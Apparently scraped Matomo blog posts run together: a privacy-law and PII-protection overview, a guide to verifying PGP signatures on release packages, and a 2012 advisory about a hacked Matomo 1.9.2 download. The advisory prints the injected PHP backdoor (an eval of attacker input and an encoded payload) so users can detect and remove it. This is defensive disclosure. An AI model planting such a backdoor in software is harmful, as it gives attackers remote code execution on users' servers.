The realm of personal data protection in the European Union is governed predominantly by the General Data Protection Regulation (GDPR). This robust framework amplifies the rights of EU citizens regarding their personal protected information. Controllers or processors who fail to comply with the GDPR can receive a fine of up to €20 million or, in case of groups of companies, 4% of their total worldwide annual turnover of the preceding financial year, whichever is higher. On cybersecurity front,  a failure to implement appropriate technical and organisational measures to protect the personal data can result in a fine up to €10 million or EUR, or in the case of an undertaking, up to 2 % of the total worldwide annual turnover of the preceding financial year, whichever is higher.

United States

Unlike the EU, the United States doesn’t operate under a single overarching data protection statute. Instead, the landscape is dotted with a myriad of laws at both the federal and state levels. 

Federal laws like HIPAA target specific sectors, setting guidelines for data privacy. On the state front, significant advancements like the California Consumer Privacy Act (CCPA) and Virginia Consumer Data Protection Act (VCDPA) signal the growing emphasis on individual data rights. Other states that have passed consumer data privacy acts to date include Colorado, Connecticut, Indiana, Iowa, Montana, Oregon, Tennessee, Texas and Utah. Other bills are pending or proposed across the remaining states. 

Privacy laws in other countries

The following are the primary privacy laws in other countries:

Canada

  • PIPEDA (Personal Information Protection and Electronic Documents Act): Governs how businesses handle personal information in private transactions. Some provinces have specific regulations that align with PIPEDA.

Australia

  • Privacy Act 1988, including Australian Privacy Principles, Australian Privacy Principles Guidelines and Notifiable Data Breaches scheme: Governs how federal and Norfolk Island government agencies and certain private sector entities handle personal information. State privacy laws also exist.

India

  • DPDP (Digital Personal Data Protection Act): The Act applies to digital or digitized data only.
  • Information Technology Act, 2000: Regulates cyber activities, including electronic data’s authenticity and security.

Brazil

  • LGPD (Lei Geral de Proteção de Dados Pessoais): Brazil’s main data protection law, LGPD, emphasises transparency, accountability and individual rights regarding personal data.

China

  • PIPL (Personal Information Protection Law): China’s comprehensive data protection regulation ensures the lawful, justified and necessary processing of personal data.
  • Cybersecurity Law: Focuses on network security, data protection and ensuring Chinese citizens’ data stays within the country.
  • Data Security Law: Deals with data security across (broader than personal information).

Personally identifiable information (PII) vs personal data

While PII and “personal data” are sometimes used interchangeably, it is important to remember that while  PII is always personal data, not all personal data as defined in the GDPR would be considered PII. For example, the GDPR definition of “personal data” includes data that has been pseudonymised, or data that may not have been traditionally seen as PII (online identifiers, IP addresses, device ID, browser information, some cookies, and URL names). 

The definition of “personal data” according to the GDPR:

Personal data definition according to the GDPR

What’s seen as personal data depends on the context. If a piece of information can be combined with others to establish someone’s identity then that can be considered personal data. 

How do you keep PII safe?

  • Don’t give your data away so easily. Read the terms and conditions.
  • Don’t just click “agree” when faced with consent screens, as consent screens are majorly flawed. 
  • Disable third-party cookies by default. 
  • Use strong passwords.
  • Be wary of public WiFi — hackers can easily access your PII or sensitive data. Use a Virtual Private Network (VPN) to encrypt your connection.

Read more on how to keep PII safe. We’ve also included a PII compliance checklist for businesses and organisations.

PII security best practices

Protecting PII is crucial for businesses and organisations in maintaining trust and complying with privacy regulations.

Best practices to keep PII secure

Here are some best practices to ensure the safety of such data:

Incorporate data encryption

Always employ robust encryption standards for your PII, ensuring it’s encrypted during storage (at rest) and while being transferred (in transit) to safeguard against unauthorised access. This encryption acts as a protective barrier, rendering data unreadable to any unauthorised person who might intercept it.

Use data anonymisation

Incorporating data anonymisation can help organisations transform personal data to make them harder to identify. By utilising this technique, businesses can significantly reduce the risk of data breaches and protect PII from potential misuse. Tools such as Matomo provide a privacy-friendly analytics solution that guarantees GDPR compliance and offers data anonymisation as a .

Employ Multi-factor Authentication (MFA)

Mandate the use of MFA for any system storing or accessing PII, reinforcing user identity through multiple verification methods. By requiring various verification forms, MFA greatly reduces the risk of unauthorised access due to stolen or guessed credentials.

Monitor and apply updates

Diligently monitor and swiftly apply all software patches and updates to seal off vulnerabilities and keep your systems up-to-date against threats. Regularly updating software ensures that known vulnerabilities, which cybercriminals often exploit, are addressed promptly.

Establish access control

Establish strict access protocols (role-based and need-to-know basis), allowing PII access solely to those with a defined role and genuine necessity, minimising potential exposure points. This selective access means fewer people have the potential to inadvertently or maliciously misuse sensitive information.

Develop your own systems

You can effectively safeguard PII data by developing your own systems, such as by building custom plugins and APIs. Constructing your own solutions gives you complete control over how data is gathered, processed and transmitted. Using open-source platforms like Matomo, where you can customise various aspects or develop plugins, can be beneficial.

Encourage secure password policies

Advocate for complex password requirements and regular changes, bolstering defences against unauthorised access attempts. Strong passwords that are changed periodically can prevent unwanted access to critical systems.

Store data on your own servers

Storing your own data on your own servers can require some technical skills and extensive resources (like the actual servers themselves), but it’s incredibly common in industries that need high levels of data privacy and security. Industries like finance and healthcare often store their data on their own servers to ensure the data is as protected as possible.

Matomo On-Premise is a free solution for self-hosting your own servers to ensure your data is secure.

How Matomo deals with PII and personal data

Although Matomo is a web analytics tool that tracks user activity on your website, we take privacy and PII very seriously – on both our Cloud and On-Premise offerings. Matomo is a privacy-friendly analytics solution that gives you 100% data ownership and GDPR compliance.

As the GDPR continues to evolve, you can rest assured that Matomo will be at the forefront of these changes.

Keep your users’ PII safe and start using Matomo – sign up for your 21-day free trial now (no credit card required) or try our live demo now.

If you’re using Matomo and would like to know how you can be fully GDPR compliant and protect user privacy, read more:

Disclaimer

We are not lawyers and don’t claim to be. The information provided here is to help give an introduction to issues you may encounter when dealing with PII. We encourage every business and website to take data privacy seriously and discuss these issues with your lawyer if you have any concerns. 

Additional resources:

]]> How to verify signatures for Matomo release packages https://matomo.org/blog/2014/11/verify-signatures-piwik-packages/ Wed, 19 Nov 2014 05:20:27 +0000 https://matomo.org/?p=19311 Read More

]]> We are proud to announce that Matomo releases will now be cryptographically signed using PGP following requests from several community members. In this post we will explain how you can verify the signatures of the Matomo release you downloaded, with instructions for Windows, Mac OS X and Linux.

What is a signature and why should I check it?

How do you know that the Matomo platform you have is really the one we made? Some software sites list sha1 hashes alongside the software on their website, so users can verify that they downloaded the file without any errors. These “checksums” help you answer the question “Did I download this file correctly from whoever sent it to me?” They do a good job at making sure you didn’t have any random errors in your download, but they don’t help you figure out whether you were downloading it from a compromised server. The better question to answer is: “Is this file that I just downloaded the file that Matomo intended me to get?”. Over the years several Matomo users have requested that we start signing our releases.

Where do I get the signatures and the keys that made them?

Each file on our release server builds.matomo.org is accompanied by a file with the same name as the package and the extension .asc. These .asc files are GPG signatures. They allow you to verify the file you’ve downloaded is exactly the one that we intended you to get. For example, matomo-2.9.0.zip is accompanied by matomo-2.9.0.zip.asc.

Currently the signature we use to sign the releases can be found here: builds.matomo.org/signature.asc. For versions below Matomo 4.8.0 Matthieu Aubry was the release manager and signed the Matomo releases. His signature can be found here: builds.matomo.org/signature-pre-4.8.0.asc. The instructions below assume you are verifying a version of Matomo before 4.8.0.

How to verify signatures on Windows

You need to have GnuPG installed before you can verify signatures. Download it from http://gpg4win.org/download.html.

Once it’s installed, use GnuPG to import the key that signed your package. Since GnuPG for Windows is a command-line tool, you will need to use cmd.exe. Unless you edit your PATH environment variable, you will need to tell Windows the full path to the GnuPG program. If you installed GnuPG with the default values, the path should be something like this: C:\Program Files\Gnu\GnuPg\gpg.exe.

For Matomo versions 4.8.0 and above, import Matomo’s key (0x63BB30D0E5D2C749) by starting cmd.exe and typing:

"C:\Program Files\Gnu\GnuPg\gpg2.exe"  --keyserver hkps://keyserver.ubuntu.com --recv-keys F529A27008477483777FC23D63BB30D0E5D2C749

For previous versions, import Matomo Release manager Matthieu’s key (0x416F061063FEE659) with:

"C:\Program Files\Gnu\GnuPg\gpg.exe" --keyserver keys.gnupg.net --recv-keys 814E346FA01A20DBB04B6807B5DBD5925590A237

After importing the key, you can verify that the fingerprint is correct:

"C:\Program Files\Gnu\GnuPg\gpg.exe" --fingerprint 814E346FA01A20DBB04B6807B5DBD5925590A237

You should see (for Matomo 4.8.0 and above):

pub rsa4096 2022-02-23 [SC]
       Key fingerprint = F529 A270 0847 7483 777F C23D 63BB 30D0 E5D2 C749
uid                 Matomo <hello@matomo.org>
sub rsa4096 2022-02-23 [E

Or for previous versions:

pub   4096R/5590A237 2013-07-24
      Key fingerprint = 814E 346F A01A 20DB B04B  6807 B5DB D592 5590 A237
uid                  Matthieu Aubry <matt@piwik.org>
uid                  Matthieu Aubry <matthieu.aubry@gmail.com>
sub   4096R/43F0D330 2013-07-24

To verify the signature of the package you downloaded, you will need to download the “.asc” file as well. Assuming you downloaded the package and its signature to your Desktop, run:

"C:\Program Files\Gnu\GnuPg\gpg.exe" --verify C:\Users\Alice\Desktop\matomo-2.9.0.zip.asc C:\Users\Alice\Desktop\matomo-2.9.0.zip

The output should say “Good signature”:

gpg: Signature made Thu 13 Nov 2014 17:42:18 NZDT using RSA key ID 5590A237
gpg: Good signature from "Matthieu Aubry <matt@piwik.org>"
gpg:                 aka "Matthieu Aubry <matthieu.aubry@gmail.com>"

Notice that there may be a warning in case you haven’t assigned a trust index to this person. This means that GnuPG verified that the key made that signature, but it’s up to you to decide if that key really belongs to the developer. The best method is to meet the developer in person and exchange key fingerprints.

Mac OS X and Linux

On Linux GnuPG is usually installed by default. On Mac OS X, you need to have GnuPG installed before you can verify signatures. You can install it from http://www.gpgtools.org/.

Once it’s installed, use GnuPG to import the key that signed your package. Import Matomo’s key (F529A27008477483777FC23D63BB30D0E5D2C749) for Matomo 4.8.0 and above by typing:

 gpg --keyserver hkps://keyserver.ubuntu.com --recv-keys F529A27008477483777FC23D63BB30D0E5D2C749

Matthieu Aubry signed the Matomo releases before 4.8.0. Import his key (814E346FA01A20DBB04B6807B5DBD5925590A237) by starting the terminal (under “Applications”) and typing:

gpg --keyserver keys.gnupg.net --recv-keys 814E346FA01A20DBB04B6807B5DBD5925590A237

After importing the key, you can verify that the fingerprint is correct:

gpg --fingerprint 814E346FA01A20DBB04B6807B5DBD5925590A237

You should see (for Matomo 4.8.0 and above):

pub rsa4096 2022-02-23 [SC] 
      Key fingerprint = F529 A270 0847 7483 777F C23D 63BB 30D0 E5D2 C749 
uid Matomo <hello@matomo.org> 
sub rsa4096 2022-02-23 [E]

Or for Matomo previous versions:

pub 4096R/5590A237 2013-07-24 
      Key fingerprint = 814E 346F A01A 20DB B04B 6807 B5DB D592 5590 A237 
uid Matthieu Aubry <matt@piwik.org> uid Matthieu Aubry <matthieu.aubry@gmail.com> 
sub 4096R/43F0D330 2013-07-24

To verify the signature of the package you downloaded, you will need to download the “.asc” file as well. Assuming you downloaded the package and its signature to your Desktop, run:

gpg --verify /Users/Alice/matomo-2.9.0.zip{.asc*,}

The output should say “Good signature”:

gpg: Signature made Thu 13 Nov 2014 17:42:18 NZDT using RSA key ID 5590A237
gpg: Good signature from "Matthieu Aubry <matt@piwik.org>"
gpg:                 aka "Matthieu Aubry <matthieu.aubry@gmail.com>"

Notice that there may be a warning in case you haven’t assigned a trust index to this person. This means that GnuPG verified that the key made that signature, but it’s up to you to decide if that key really belongs to the developer. The best method is to meet the developer in person and exchange key fingerprints.

That’s it! In this article you have learnt how you can verify that the Matomo package you have downloaded on your computer was the same as the one Matomo team has officially created. We hope this helps you use Matomo with more security.

Source: this article was copied and adapted from the great Tor Browser project website page How to verify signatures for Tor packages

]]> Security Report: Matomo.org webserver hacked for a few hours on 2012 Nov 26th https://matomo.org/blog/2012/11/security-report-piwik-org-webserver-hacked-for-a-few-hours-on-2012-nov-26th/ Tue, 27 Nov 2012 11:49:16 +0000 https://matomo.org Read More

]]> Update 2014: since this event occurred almost two years ago, we have made numerous improvements and added layers of security to ensure it does not happen again:

Important Security Announcement: Matomo.org webserver got compromised by an attacker on 2012 Nov 26th, this attacker added a malicious code in the Matomo 1.9.2 Zip file for a few hours.

How do I know if my Matomo server is safe?

You would be at risk only if you installed or updated to Matomo 1.9.2 on Nov 26th from 15:43 UTC to 23:59 UTC.
If you are not using 1.9.2, or if you have updated to 1.9.2 earlier than Nov 26th 15:40 UTC or from Nov 27th, you should be safe.

How do I double check if my Matomo server is affected?

To check if your Matomo is affected, open the file piwik/core/Loader.php – a clean file looks like this, where as a compromised Loader.php would contain the following code at the end of the file:

<?php Error_Reporting(0);       if(isset($_GET['g']) && isset($_GET['s'])) {
preg_replace("/(.+)/e", $_GET['g'], 'dwm');     exit;
}
if (file_exists(dirname(__FILE__)."/lic.log")) exit;
eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWNOVrF/IlKatiIlnbIOZ/bpzb2pAyXRl7uF/s7JuffmMlrf3y7XD09OSWbUo9RzF6XzHCz3+0pOeDW0C79s2vqtaSdOTRKZOxfXDlmJOvp8LbzHwJle/aIYEL0YWE$

If you see this malicious code in your piwik/core/Loader.php file, read below to fix this issue.

How do I fix my Matomo if it is compromised?
If you Matomo is compromised, follow these steps:

  1. Backup piwik/config/config.ini.php
  2. DELETE the piwik/ directory
    It is important to DELETE the directory and all piwik files, to ensure any malicious script is deleted as well.
  3. Download latest Matomo from piwik.org
  4. Unzip and Upload the piwik/ directory on your server
  5. Copy the config.ini.php back in /piwik/config/
  6. Go to Matomo, it should display the dashboard as expected

You have now successful restored Matomo to a clean version.

If you have other web softwares running in the same path on your server, we would recommend to be safe and restore a backup of these other softwares as well.

How did the attacker got in piwik.org?

Attacker used a security issue in a WordPress plugin we were using, and gained partial access to the piwik.org server.

Is there a security bug in Matomo software itself?

The website Matomo.org is running WordPress and got compromised, because of a security issue in a WordPress plugin. As far as we know, the Matomo software does not have any exploitable security issue. We have a security bug bounty program in place that rewards researchers for finding security issues in Matomo software, and disclosing them to us. We also document here how you can make your own Matomo data safer and secure your server.

Has any sensitive data been leaked?

Matomo is a self-hosted, open source software. Matomo.org does not track any web analytics data from any Matomo user. No personal or sensitive data has been leaked since we do not track any.

What we are doing to prevent further issues

We are still working with our system administrators on the issue and have some ideas to make this kind of problems much less likely to occur. We will post a follow up once these new mechanisms are in place.

Summary

We would like to thank the Matomo users who quickly reported this problem (by email and in the forums). We received more than five reports in a two hours timeframe, which shows that the Matomo community is very vigilant and ready to react to any problem.

We are truly sorry for the inconvenience. Please be sure that we will do our best to keep Matomo (and Matomo.org) a safe place in the future.

Contact us at security@piwik.org if you need more info.

]]>